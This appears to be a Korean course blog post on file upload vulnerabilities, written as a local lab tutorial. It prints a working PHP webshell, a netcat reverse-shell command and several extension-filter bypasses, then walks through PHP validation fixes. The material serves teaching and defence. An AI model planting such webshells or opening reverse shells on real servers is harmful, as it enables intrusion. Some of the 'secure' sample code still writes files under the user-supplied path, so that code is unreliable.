1) 파일 업로드 취약점이란 무엇인가?
파일 업로드 취약점(File Upload Vulnerability)
- 파일 업로드 기능에 대해서 발생하는 취약점
- 공격자는 비정상 파일을 업로드하여 공격
- OS Command Injection 과 동일한 효과를 가지고 있는 취약점
정상 파일: 일반 파일(서버 사이드 스크립트로 작성되지 않은)
비정상 파일: 서버 사이드 스크립트(악성 스크립트)로 작성된 웹쉘 코드 → 원격 서버에 시스템 명령 실행 가능
공격자는 서버 사이드 스크립트(악성 스크립트)로 작성된 웹쉘 업로드를 통해서, 웹 서버를 경유하여 내부 네트워크 까지 침투하여 공격자가 목표하는 행위를 하는 공격
대응방법
- 시큐어코딩
- WAF
- 웹쉘 차단/모니터링 솔루션
OS Command Injection 과 파일 업로드 취약점의 차이
OS Command Injection 은 특정 웹 사이트(관리자 페이지 등)에서만 가능하여 웹 취약점 발견 및 발생 가능성이 낮다.
파일 업로드 취약점은 파일을 업로드 기능에 대한 취약점으로, 파일 업로드 기능을 가진 웹 사이트가 잠재적 위험에 노출되어 있다는 의미이다. 대부분의 웹 사이트는 파일 업로드 기능을 가지고 있다.
공격자는 웹 서버에 침투 → 시스템 명령 실행 가능. 웹 서버에 대한 제어권 획득
서버 내 중요정보 및 서버 설정 파일 열람 가능, 인근 동일 네트워크 상에 있는 서비스에 대한 정보 획득
파일 업로드 취약점은 공격자가 원하는 행위를 할 수 있는 수단으로 이용됨
웹 서버에 대해 제어권을 얻는다 = 시스템 명령어 실행이 가능하다 = 서버 내 중요정보 열람, 수정, 삭제 가능
해당 공격을 통해 웹 서버가 랜섬웨어 공격의 유포지로 활용될 수 있으며, 서버 내 중요파일이 랜섬웨어에 감염될수도 있다. 데이터베이스로 침투, 내부망에 침투하여 기밀 정보를 열람, 직원 PC를 감염시키는 등의 다양한 추가 공격이 가능하다.
공격자는 이러한 공격을 통해 기업으로부터 돈을 뜯어낸다.
시스템 명령어 실행을 통해서 단순히 해당 공격에서 끝나는 것이 아닌 2차, 3차 피해가 추가로 발생할 가능성이 있다.
2) 공격 원리 분석
Step 1) 파일 업로드 기능을 대상으로 공격
- 파일 업로드 기능에 정상 파일이 아닌, 악성 스크립트(서버 사이드 스크립트)가 담긴 웹쉘을 업로드를 시도.
- 파일 업로드가 진행될때 서버 측에서는 먼저 파일명을 받음.
Step 2) 기존 경로 + 업로드된 파일명 조합
- 사용자가 업로드한 파일명을 그대로 사용하는 경우도 있고, 서버 측에서 파일명을 생성해서 만드는 경우도 있다. ( 파일 업로드 기능마다 다름 )
Step 3) 파일 출력
- 사용자가 서버에 파일을 업로드(파일 쓰기)
- 지정된 경로로 파일이 업로드 됨
Step 4) 웹쉘 접근 및 실행
- 공격자는 파일이 업로드된 경로로 접근 (경로에 대한 URL 필요)
- 웹쉘은 서버 사이드 스크립트로 작성되어야 하며, 웹 디렉터리에 업로드 되어야 한다.
- 파일 업로드 경로 찾기 및 웹 디렉터리 파악이 어렵다.
- 오늘날에는 대부분 웹 디렉터리에 업로드를 하지 못하게 한다, 업로드 시 기존의 경로를 변조하여 업로드를 시도
파일 다운로드와 연계성 있는 취약점으로, 파일 다운로드를 통해서 웹 디렉터리 경로 획득 및 경로 변조가 가능하다면 웹 디렉터리에 파일 업로드를 시도한다.
3) 웹쉘이란 무엇인가?
Shell = 사용자가 명령을 입력하면 번역하여 커널이 이해할 수 있도록 해석 (Cmd.exe, bash shell)
WebShell = 웹 페이지에서 원격 서버의 시스템 명령어를 실행, 서버 사이드 스크립트로 작성됨
시스템 명령어를 실행하는 함수를 삭제하면 해결되나?
→ 개발자들의 편의, 기능적으로 구현하기 위해서 설계가 되어 있음
→ 서버 사이드 스크립트로 어느정도 기능 구현이 가능하지만, 시스템 명령어를 실행하는데 제약이 존재
공격자는 위와 같은 부분(시스템 명령어 실행 가능한 환경)을 악용하기 위해 웹쉘을 제작
각종 언어별 시스템 함수
언어 | 시스템 함수 |
PHP | passthru, system, `(백 쿼터), execl, popen, escapeshellcmd, eval, shell_exec, assert ... |
JSP | Runtime.getRuntime().exec(""), processBuilder("") |
ASP | CreateObject("wscript.shell").exec("cmd /c" & cmd), eval, Execute ... |
ASPX | WinExec(), ShellExecute() ... |
각종 웹쉘 별 시스템 함수 사용 예시
웹쉘 종류
웹쉘의 기본적인 기능 → 시스템 명령어 실행
위 예시의 웹쉘들은 시스템 명령어 뿐만 아니라, 파일 브라우저(파일 볼 수 있는) 기능, 파일 생성/수정/삭제, 디렉터리/생성/수정/삭제, 파일 업로드/다운로드 등의 기능이 존재한다.
실습8-1 간단한 웹쉘 제작 및 파일 업로드 취약점 공격 실습
웹쉘을 제작하기 위해서 특정 디렉터리에 웹쉘 파일을 생성한다.
위치: D:\webshell\webshell.php
system 함수: 인자에 들어오는 시스템 명령어를 통해서 출력시키는 함수
system 함수는 출력되는 결과값에 대한 핸들링은 할 수 없기때문에 다른 방식을 사용하여 코드를 작성한다.
< webshell.php >
<?
$cmd = $_GET["cmd"];
if(!empty($cmd)) {
$result = shell_exec($cmd);
}
?>
<form action="webshell.php" action="GET">
<input type="text" name="cmd">
<input type="submit" value="EXECUTE">
</form>
<hr>
<?=$result?>
비어있지 않는 경우에 shell_exec 함수를 사용하여 결과를 리턴 받아 result 변수에 넣는다.
웹쉘 생성 후, insecure_website 에서 웹쉘 업로드를 시도한다.
웹쉘 업로드 후 경로를 찾아야하는데, 경로를 찾는 방법에는 여러 방법이 있다.
소규모 웹사이트에는 보통 업로드 경로가 1개만 존재하고, 세분화되지 않은 경우가 많다.
URL 에 추측되는 경로를 입력 후 서버의 응답을 보고 추측할 수 있다.
URL 에 uplaod 를 입력해본다.
이렇게 Forbidden 이라는 창과 403 상태코드가 확인되는데, 이 경우에는 해당 디렉터리는 존재하나 권한이 없어 접근 할 수 없다는 의미로 볼 수 있다.
만약 디렉터리가 없는 경우에는 이렇게 404 에러코드가 발생한다.
webshell.php 를 입력하니 아래와 같이 접속이 되는 것을 확인할 수 있다.
시스템명령어 중 ipconfig 를 입력하여 IP에 대한 결과를 확인할 수 있다.
dir 을 입력하면 현재 위치와 폴더 내 파일들을 확인할 수 있다.
리눅스의 경우에는 ls 를 입력한다.
whoami 를 입력하여 현재 컴퓨터에 로그온되어 있는 계정의 정보를 확인할 수 있다.
위와 같이 OS Command Injection 과 동일하게 시스템 명령어를 실행할 수 있다.
시스템 명령어 실행을 통해 기본적인 네트워크 정보나 사용자 계정 정보를 확인할 수 있으며, 서버 내부의 파일들을 하나씩 자세하게 확인할 수도 있다. 여러 설정 파일 및 접속 정보를 확인하다가 인근 네트워크 정보도 확인할 수 있다. (DB 접속 정보 등) 이를 통해 데이터베이스에 침투도 가능하게 된다.
실습8-2 파일 업로드 취약점 공격을 통한 Reverse-shell 실습
먼저 VMWare 의 해커 계정으로 접속하여(공격자 PC)로 웹쉘을 업로드 한다.
실제 취약점 진단 시 정상적인 게시판인척 작성하여 웹쉘 업로드를 진행한다. 물론 고객사마다 방법은 다르므로, 각 고객사별 상황에 맞게 진행하면 된다.
업로드 후 웹쉘이 접속되는지 확인해본다.
http://192.168.56.1/insecure_website/upload/webshell.php ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )
위와 같이 정상적으로 웹쉘 페이지에 접속이 가능한 것을 확인할 수 있다.
리버스쉘을 하기위해서 NC(Netcat)을 사용한다.
이번에는 Netcat 을 정상적인 파일 업로드 기능을 사용하여 업로드한다.
Bind Shell 과 Reverse Shell
Bind Shell(정방향 연결)
→ 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 생성하는 쉘, 일반적인 서버로 접속하는 형태
Reverse Shell(역방향 연결)
→ 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 형태, 일반적인 방화벽 정책은 Inbound 정책은 대부분 차단되지만, Outbound 정책은 허용된 경우가 많기 때문에 사용한다.
Reverse Shell을 수행하기 위해 Netcat 을 다운로드한다.
Netcat - 평문 전송
Ncat - 암호화 전송
Netcat 다운로드 링크 - 1.12 버전
https://eternallybored.org/misc/netcat/
현재 VMWare 를 사용하여 공격자 PC의 역할을 하고 있는 칼리리눅스로 netcat 공격을 시도하였으나 리버스 쉘 연결이 되지 않아 윈도우 7 가상환경을 사용하여 netcat 연결을 시도한다.
보통 Netcat 을 업로드 할때 파일명 nc.exe 그대로 업로드 하지는 않는다. (정상 파일인척 다른 이름으로 업로드)
업로드 후 http://192.168.56.1/insecure_website/upload/webshell.php 경로로 접속하여 시스템 명령어를 실행해본다.
dir 명령어를 입력하여 현재 디렉터리에 설치된 파일 (upload 디렉터리)을 확인해본다.
업로드한 nc.exe 파일이 확인된다.
리버스 쉘은 서버에서 요청을 하고 클라이언트가 리스닝한 상태에서 응답 후 연결하여 데이터를 주고 받는다.
윈도우7에서 Netcat 을 실행 후 nc -lvp 5555 명령어를 입력하여 5555포트로 리스닝을 해준다. (임의의 포트 리스닝)
윈도우7 netcat 이 설치된 디렉터리에서 아래와 같이 입력하여 5555포트로 리스닝 시도한다.
이후 웹쉘 페이지로 윈도우 7 IP(10.0.2.4)를 조합하여 Netcat 연결을 시도한다.
nc 10.0.2.4 -e cmd.exe
e 옵션에서 쉘을 입력해줘야 하는데, 현재는 웹 사이트의 서버가 윈도우라 cmd.exe 를 입력한것이고, 만약 리눅스인 경우에는 -e bin/sh 또는 -e bin/bash 등 해당 서버에 맞는 쉘을 입력해주면 된다.
nc.exe [공격자 IP] [Port] -e [Shell]
Windows - cmd.exe
Linux/Unix - /bin/sh 또는 /bin/bash
Netcat 연결을 시도하면 윈도우7에서 netcat 연결이되었다는 CMD 창을 확인할 수 있지만, 현재 어떤 오류에 의해서인지 리버스 쉘 연결이 되지 않아 실습을 진행하지 못했다.
리버스 쉘이 연결되었다면, CMD 창에서 리스닝 문구가 아닌 connet to 192.168.56.1 ~ 문구가 확인된다.
이후 ifconfig 명령어를 입력하면 웹 서버의 IP로 변화된 것을 확인할 수 있다.
이를 통해 파일업로드 공격을 통해서 원격 터미널 연결에 성공한 것을 알 수 있다.
이후 whoami, dir 등의 명령어를 사용하여 해당 서버의 계정과 각 디렉터리 및 파일들을 하나씩 살펴볼 수 있게된다.
4) 검증 로직 유형
검증 로직은 파일이 업로드가 될 때, 해당 파일이 정상인지 비정상인지의 기준을 정해서 비정상적인 파일이라는 판단이 될 경우에는 업로드를 중지시키고, 정상적인 파일인경우 업로드를 진행한다
가장 일반적이고 많이 사용되는 로직은 확장자 검증 로직이다.
확장자 검증: 업로드 되는 파일에 대한 확장자가 정상적인지 비정상적인지 검증하는 기법
이미지 검증: 업로드 되는 파일이 이미지인지 아닌지 검증하는 기법
파일 사이즈 검증: 업로드 되는 파일에 대해서 파일에 대한 사이즈가 정해진 업로드 파일 사이즈를 초과하는지 검증(정상 범위내의 파일 용량을 업로드하는지 확인)
5) 확장자 검증 방식에 대한 이해
webshell.jsp
업로드되는 파일은 파일에 대한 확장자를 가지고 있다.
이미지: jpg, png, gif 등
운영체제나 특정 프로그램들은 확장자를 기준으로 파일 타입을 판단한다. (이미지 or 텍스트 or 워드 파일인지 판단)
어플리케이션(WAS) 관점에서는 jsp,php,asp 등 서버 사이드 스크립트 확장자를 인식하게 된다.
서버 사이드 스크립트 확장자를 업로드하게 되면은 WAS가 컴파일한다.
→ 이로 인해 웹쉘 업로드를 하여 시스템 명령어를 전달할 수 있다.
그러므로 WAS에서 웹쉘 업로드를 방지하기 위해 확장자 검증을 한다.
블랙리스트 방식 vs 화이트리스트 방식
방식 | 장점 | 단점 | 알맞은 기능 |
블랙리스트 방식 | 다양한 파일 업로드 가능 | 다양한 우회 가능성 존재 | 다수 파일 업로드 (예: 자료실) |
화이트리스트 방식 | 우회 가능성이 제한적 | 다양한 파일 업로드 불가능 | 특정 파일 업로드 (예: 이미지 업로드) |
블랙리스트 방식: 거부할 확장자만 거부, 나머지는 허용
화이트리스트 방식: 허용할 확장자만 허용, 나머지는 거부
오늘날에는 화이트리스트 방식을 많이 사용하며, 인라인 보안 장비 WAF에서도 파일 업로드에 대해 화이트리스트 검증 방식을 사용하는 경우가 있다. (보안상 화이트리스트 방식이 좀 더 유리하다.)
확장자 검증 동작 원리
step 1) 사용자가 파일을 업로드
- 파일명을 받는다.
step 2) 확장자 파싱
- 파일명에서 확장자를 파싱한다.
step 3) 확장자 검증
- 화이트리스트 또는 블랙리스트 방식으로 검증
- 화이트리스트 방식은 화이트리스트에 등록된 확장자만 업로드
- 블랙리스트 방식은 블랙리스트에 등록된 확장자는 거부
step 4) 파일 업로드 여부 확인
- 파일 업로드 여부 확인하여 업로드
실습8-3 개발자분들이 자주 실수하는 잘못된 대응 방안 적용
Case 1) 검증 되지 않는 확장자 사용
→ 블랙리스트 방식
Case 2) 빈 값 검증 미흡
→ 윈도우 서버 환경, 블랙리스트 방식
case 2-1) test.php.
→ . 입력
case 2-2) test.php[공백]
→ 확장자 뒤에 공백을 입력
Case 3) 대문자 검증 미흡
→ 윈도우 서버 환경, 블랙리스트 방식
Case 4) 잘못된 확장자 파싱
→ test.png.php 등의 확장자를 인식할 때 어플리케이션에서 앞의 확장자를 파싱하는 경우, 화이트/블랙리스트 방식
Case 1) 검증 되지 않는 확장자 사용
- php 확장자 사용하지 않도록 코드 추가
action.php 에 게시글 작성부분에 php 확장자 검증 로직 추가
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = $file_info["extension"];
if($ext == "php") {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
pathinfo()
→ 파일 경로에 대한 정보를 반환하는 함수. 옵션에 따라 연관 배열 또는 문자열로 반환한다.
$ext 에 확장자가 파싱됨.
위 코드 저장 후 insecure_website 에서 php 확장자를 가진 웹쉘 업로드를 시도한다.
아래와 같이 허용된 확장자가 아니라는 메시지가 확인된다.
php 확장자를 검증하고 있다는 의미이다.
버프스위트를 켜고 webshell.php 업로드를 할 때 intercept on 후 php를 html 로 확장자를 변경한다.
html 로 확장자 변경 후 intercept off 를 한다.
아래와 같이 html 확장자로 업로드 된것을 확인할 수 있다.
업로드된 파일의 경로에 접속해본다.
http://192.168.56.1/insecure_website/upload/webshell.html ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )
다음과 같이 시스템 명령이 실행되는 것을 확인할 수 있다.
php가 서버 사이드 스크립트 확장자인데 html 은 왜 실행이될까?
Tomcat, Java Web Application 에서는 html 은 서버 사이드 스크립트로 실행되지 않는다.
다음 경로로 가서 서버의 설정 파일을 확인해본다.
C:\APM_Setup\Server\Apache\conf\extra\httpd-php5.conf
php 와 html 이 서버 사이드 스크립트로 인식이 되도록 설정값으로 적용되어 있는 상태이다.
그러므로 html이 서버 사이드 스크립트로 인식되어 webshell.html 로 업로드 시 시스템 명령어 실행이 가능했던 것이다.
이런 경우 php 와 html 확장자 모두 검증하여 업로드 할 수 없도록 한다.
action.php 에 게시글 작성부분에 html 확장자 검증 로직 추가
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = $file_info["extension"];
if($ext == "php" || $ext =="html") {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
Case 2) 빈 값 검증 미흡
- 확장자에 빈 값이 들어오는 경우
insecure_website 에 webshell.php 를 업로드 하는데, 확장자 부분에 . 을 입력하여 확장자 검증을 우회해본다.
버프스위트 intercept on 후 게시글을 작성하면 아래와 같이 버프스위트 화면이 확인된다.
php 확장자 끝 부분에 . 을 입력한 후 intercept off 를 한다.
다음과 같이 게시글 업로드가 확인된다.
http://192.168.56.1/insecure_website/upload/webshell.php 로 접속한다. ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )
접속이 되는 것을 확인할 수 있다.
해당 파일이 업로드된 디렉터리로 이동한다.
위치: C:\APM_Setup\htdocs\insecure_website\upload
webshell.php. 을 업로드했는데, webshell.php 가 업로드 된 것을 확인할 수 있다.
php 확장자 끝에 . 을 입력하고 엔터를 누르면 . 이 사라지고 php 만 남게된다. (윈도우 환경에서는 확장자 끝부분의 점이 사라진다.)
어플리케이션에서는 마지막에 있는 문자를 확장자로 인식하게 된다.
→ 빈 값이 들어오게 된다.
소스코드에는 php 와 html 만 허용하지 않으므로 빈 값은 우회하여 업로드가 가능해진다.
빈값에 대한 검증 로직도 들어가야 한다.
< action.php 에 빈 값 검증 로직 추가 >
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = $file_info["extension"];
if($ext == "" || $ext == "php" || $ext =="html") {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
소스코드 적용 후 다시 업로드를 시도해본다.
위와 같이 업로드가 불가한 것을 확인할 수 있다.
하지만 빈 값 검증에는 . 입력 이외에도 한 가지 케이스가 더 존재한다.
확장자 뒤에 공백을 입력하는 것이다.
case 2-1) test.php.
case 2-2) test.php[공백]
기존의 업로드 된 파일은 삭제 한다. (upload 디렉터리에서 삭제)
다음과 같이 게시글 업로드 시 확장자 끝 부분에 공백을 두고 업로드 한다.
다음과 같이 업로드에 성공한 것을 확인할 수 있다.
upload 디렉터리를 확인해보니 webshell.php 가 업로드된 것을 확인할 수 있다.
insecure_website 에서 웹쉘 업로드 위치로 접속한다.
http://192.168.56.1/insecure_website/upload/webshell.php
웹쉘이 업로드 되었으며, 시스템 명령어 실행도 된다.
왜 공백을 두고 업로드 하였는데 php로 업로드 되었을까?
확장자 뒤에 공백이 오면 윈도우 서버 자체에서 공백을 삭제한다.
어플리케이션 관점에서는 .php 와 .php[공백]은 다른 파일이므로 우회가 되서 업로드 되지만, 운영체제에서는 공백 자체를 삭제하므로 .php 로 인식하게 된다. → 어플리케이션과 운영체제에서 인식되는 차이점을 이용해서 우회
소스코드에는 다음과 같이 적용이 가능하다.
trim 함수를 적용한다.
trim() 함수: 문자열 의 맨 앞과, 맨 뒤 의 공백을 제거
< action.php 에 trim 함수 추가 >
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = trim($file_info["extension"]);
if($ext == "" || $ext == "php" || $ext =="html") {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
소스코드 수정 후 upload 디렉터리에 있는 webshell.php 를 삭제 후 다시 업로드를 시도해본다.
다음과 같이 소스코드에 trim 이 적용되어 공백도 검증하게된다.
Case 3) 대문자 검증 미흡
배열을 사용하여 코드를 좀 더 깔끔하게 작성해본다.
in_array(확인할 값, 배열, 자료형 확인 여부 = FALSE)
in_array 사용하여 $ext 안에 $ext_arr 배열에 있는 값이 존재하면 허용하지 않는다.
→ 확장자안에 공백, php, html 이 있다면은 허용하지 않는다.
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = trim($file_info["extension"]);
$ext_arr = array("", "php", "html");
if(in_array($ext, $ext_arr)) {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
소스코드 적용 후 공백, php, html 이 포함된 webshell.php 를 업로드하니 업로드가 되지 않았다.
이번에는 php 확장자를 대문자로 입력하여 업로드를 시도한다.
webshell.phP
다음과 같이 업로드가 된 것을 확인할 수 있다.
웹 서버의 upload 디렉터리를 확인해보니 실제로 파일이 생성된 것을 확인할 수 있다.
192.168.56.1/insecure_website/upload/webshell.phP 에 접속을 시도한다.
시스템 명령어를 실행하니 정상적으로 실행되는 것을 확인할 수 있다.
이를 통해 윈도우 서버 환경에서 대문자 확장자에 대한 우회가 가능한 것을 알 수 있고, 대문자 확장자에 대한 검증이 필요하다.
PHP의 strtolower () 함수를 사용하여 문자열을 소문자로 변경해준다.
< action.php 에 strtolower 함수 적용 >
# 검증 로직 적용
$file_info = pathinfo($uploadPath);
$ext = strtolower(trim($file_info["extension"]));
$ext_arr = array("", "php", "html");
if(in_array($ext, $ext_arr)) {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
소스코드 적용 후 다시 확장자를 대문자(webshel.phP)로 변경하여 업로드를 시도해본다.
위와 같이 검증 로직이 정상적으로 적용된 것을 확인할 수 있다.
Case 4) 잘못된 확장자 파싱
잘못된 확장자 파싱을 실습하기 위해서는 기존의 검증 로직을 먼저 주석 처리한다.
strpos()
→ 문자열이 처음 나타나는 위치를 찾는 함수로 위치 값을 정수로 반환한다.
→ 대상 문자열을 앞에서부터 검색하여 찾고자 하는 문자열이 몇 번째 위치에 있는지를 리턴하는 함수
substr()
→ 문자열에서 주어진 특정 위치부터 특정 길이만큼의 문자열을 잘라서 추출하는 함수
< action.php 에 화이트리스트 방식으로 검증 로직 적용 >
# 검증 로직 적용
$ext_offset = strpos($uploadFile, ".");
$ext = substr($uploadFile, $ext_offset + 1, 3);
if($ext != "png" && $ext != "gif" && $ext != "jpg") {
echo("<script>alert('파일 업로드를 실패하셨습니다.');history.back(-1);</script>");
exit;
}
$ext_offset 은 . 의 위치를 반환받는다.
$ext 는 $ext_offset 에서 반환받은 . 위치 이후 첫번째 위치부터 3 Byte 까지 반환받는다.
예를 들어 test.png 파일을 업로드 하는 경우, . 이후에 png 문자열을 반환받는다는 의미이다.
. 이후의 문자(확장자)를 3 Byte 까지 (세글자) 반환받는다는 의미이다.
결론적으로 확장자가 png, gif, jpg 가 아닌 경우 업로드를 허용하지 않는다는 소스코드이다.
→ png, gif, jpg 등 이미지 파일이 아니면 허용하지 않는 화이트리스트 방식
webshell.php 를 업로드 시도 하였더니 다음과 같이 업로드를 실패하였다는 에러 메시지가 확인된다.
이번에는 webshell.png.php 를 업로드하여 파일 업로드 우회를 시도한다.
다음과 같이 업로드 된 것을 확인할 수 있다.
http://192.168.56.1/insecure_website/upload/webshell.png.php 로 접속해본다.
성공적으로 접속이 가능하며 시스템 명령어 실행도 가능한 것을 확인할 수 있다.
이렇게 우회하는 경우 어떻게 대응해야 할까?
확장자를 뒤에서 부터 검증하는 코드를 적용하면 된다.
strrpos ()
→ 대상 문자열을 뒤에서 부터 검색하여 찾고자 하는 문자열이 몇 번째 위치에 있는지를 리턴하는 함수
< action.php 에 화이트리스트 방식으로 뒤 문자열부터 검증하는 로직 적용 >
# 검증 로직 적용
$ext_offset = strrpos($uploadFile, ".");
$ext = substr($uploadFile, $ext_offset + 1, 3);
if($ext != "png" && $ext != "gif" && $ext != "jpg") {
echo("<script>alert('파일 업로드를 실패하셨습니다.');history.back(-1);</script>");
exit;
}
소스코드 적용 후 이전과 같이 webshell.png.php 업로드를 시도해본다.
확장자 뒤 문자열 부터 검증하는 로직이 적용되어 업로드에 실패한 것을 확인할 수 있다.
6) 대응 방안
파일업로드 취약점은 파급력을 크지만 대응하기에는 어렵지 않다.
1. 파일명에 대한 검증
2. 올바른 업로드 경로 설정(서버 사이드 스크립트가 실행되지 않는 경로 - WAS의 웹 디렉터리 X)
1. 파일명에 대한 검증
서버 측에서 파일명 생성(DB에 정보 저장)
- Origin : test.png (업로드 및 다운로드 시 파일명)
- Real : abcd.png (서버 측에서 생성하는 파일명 = 실제 서버에 업로드 되는 파일명)
확장자 검증은 화이트리스트 방식을 추천한다. ( 블랙리스트 방식보다 안전함 )
확장자 검증은 정방향이 아닌, 역방향으로 한다. (뒤에서 부터 검증, png.php 등 여러 개 확장자 사용하여 우회하는 것을 방지)
시간 또는 랜덤 문자열로 파일명을 생성한다. (+검증 완료된 확장자)
핵심은 서버에서 파일명을 생성한다는 것이 중요하다.
왜 사용자가 업로드한 파일명 그대로 저장하지 않을까?
1. 보안 관점 - 파일명을 통해서 공격자가 어떤 행위를 할지 모른다. (Null 값 삽입, 콜론 삽입 등 조작 가능)
2. 예외 사항 - 운영체제에서 생성될 수 없는 파일명이 업로드되는 경우 기능상 문제가 발생할 수 있기 때문에(인코딩 에러로 파일을 다운로드 받을 수 없음)
서버 측에서 생성된 파일명 + 검증된 확장자 => 파일 업로드
→ abcd1234.png
파일명에 대한 검증
화이트리스트 방식으로 적용, 서버 측에서 랜덤으로 값을 생성한 파일명+확장자로 파일을 업로드
사용자가 업로드한 파일명, 서버 측에서 생성한 파일명을 DB에 저장한다.
2. 올바른 업로드 경로 설정
올바른 업로드 경로 설정 - 서버 사이드 스크립트가 실행되지 않는 경로(WEB-INF)
기능별 업로드 경로를 세분화를 하고 올바른 업로드 경로(WEB-INF)로 설정했음에도 불구하고 취약점이 발생되는 경우가 있다.
→ 공격자가 경로에 들어오는 사용자 입력값을 변조하여 웹 디렉터리로 업로드 할 수 있음, 일부 경로를 입력받는 부분에 대해서도 입력값 검증 절차가 구현되어 있어야 한다. (gubun 파라미터 - notice, image 등으로 업로드 경로 구분하는 경우, 해당 파라미터에도 특수문자가 들어가는지 검증해야함)
올바른 업로드 경로 설정
웹 디렉터리가 아닌 곳에 업로드 하는 경우 업로드 디렉터리가 세분화가 되어 있는 경우가 많이 있음
경로 세분화가 되어 있을 경우 입력 값 검증이 반드시 필요함(경로 이동을 통해서 웹 디렉터리에 업로드 시도 가능)
\ 를 / 문자로 치환하거나 / 나 .. 있는 경우 예외처리, 정규 표현식을 통해서 A-Za-z0-9 문자만 허용
파일이 업로드 될때 일부 경로(gubun)를 받는 로직을 확인하고 입력값 검증 절차가 구현되어있지 않은 경우에는 경로가 변조되지 않도록 검증 로직이 반드시 구현되어 있어야 한다.
실습8-5 취약 환경 시큐어 코딩 적용 실습
action.php 에서 이전에 적용했던 검증 로직 코드는 삭제한다.
시큐어 코딩을 적용해야 할 부분은 write(게시글 작성), modify(게시글 수정) 부분이다.
먼저 write(게시글 작성) 부분에 시큐어 코딩을 적용한다.
실제로는 파일 업로드 시 Original 파일명이 출력되어야 하지만, insecure_website 게시판 특성 상 서버에서 작성한 파일명으로 출력된다.
# 검증 로직 적용 - 화이트리스트 방식
$file_info = pathinfo($uploadFile);
$ext = strtolower($file_info["extension"]);
$ext_white_arr = array("png", "jpg", "gif");
if(!in_array($ext, $ext_white_arr)) {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
$final_filename = sha1($uploadFile.time());
$final_filename .= ".".$ext;
$final_uploadPath = "{$upload_path}/{$final_filename}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$uploadFile = $db_conn->real_escape_string($uploadFile);
$content = str_replace("\\r\\n", "<br>", $content);
$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$final_filename}', '{$secret}', now())";
$db_conn->query($query);
시큐어 코딩 적용 후 png 파일을 업로드 시도한다.
다음과 같이 서버에서 설정한 파일명으로 변경된 것을 확인할 수 있다.
upload 디렉터리 확인 시 실제 업로드 된 파일명은 1.png 로 확인된다.
write 부분에 화이트리스트로 적용한 코드는 주석 처리하고 이번에는 블랙리스트로 시큐어 코딩을 적용한다.
블랙리스트 방식으로 적용 시에는 우회 포인트가 발생하지 않도록 확장자를 미리 파악해야 한다.
블랙리스트 방식으로 적용할 확장자는 공백, php, html 이다.
# 검증 로직 적용 - 블랙리스트 방식
$file_info = pathinfo($uploadFile);
$ext = strtolower(trim($file_info["extension"]));
$ext_black_arr = array("", "php", "html");
if(in_array($ext, $ext_black_arr)) {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
strtolower() 함수 사용
trim() 함수 사용
webshell.php 를 업로드 시도해본다.
다음과 같이 허용된 확장자가 아니라는 메시지가 확인된다.
블랙리스트로 등록된 확장자가 아닌 일반 파일을 업로드 시도해본다.
다음과 같이 업로드가 성공적으로 된 것을 확인할 수 있다.
현재 insecure_website 게시판 특성 상 Original 파일로 업로드해도 서버에서 생성한 파일명으로 확인된다.
실제 현업에서는 다운로드 받을 때는 Original 파일명으로 다운로드 받을 수 있게 되어 있는 환경으로 구성해야 한다.
지금 환경에서는 블랙리스트 방식은 주석 처리하고, 화이트리스트 방식을 사용한다.
modify(게시글 수정)부분에도 화이트리스트 방식으로 적용해준다.
# 검증 로직 적용 - 화이트리스트 방식
$file_info = pathinfo($uploadFile);
$ext = strtolower($file_info["extension"]);
$ext_white_arr = array("png", "jpg", "gif");
if(!in_array($ext, $ext_white_arr)) {
echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
exit;
}
$final_filename = sha1($uploadFile.time());
$final_filename .= ".".$ext;
$final_uploadPath = "{$upload_path}/{$final_filename}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
$uploadFile = $final_filename;
이전에는 $final_filename 을 하나하나씩 적용해주었는데, 기존에 사용하는 $uploadFile 변수에 넣고 일괄로 적용해준다.
기존 1.png 파일을 ha.png 파일로 수정하였으며, 성공적으로 수정된 것을 확인할 수 있다.
참고
'웹 해킹 > 웹 해킹 및 시큐어 코딩 기초' 카테고리의 다른 글
URL 접근 제한 미흡 취약점 (0) | 2025.02.28 |
---|---|
파라미터 변조 취약점 (0) | 2025.02.26 |
파일 다운로드 취약점 (1) | 2025.02.10 |
CSRF(Cross-Site Request Forgery) (0) | 2025.02.08 |
XSS (Cross-Site Scripting) (0) | 2025.01.24 |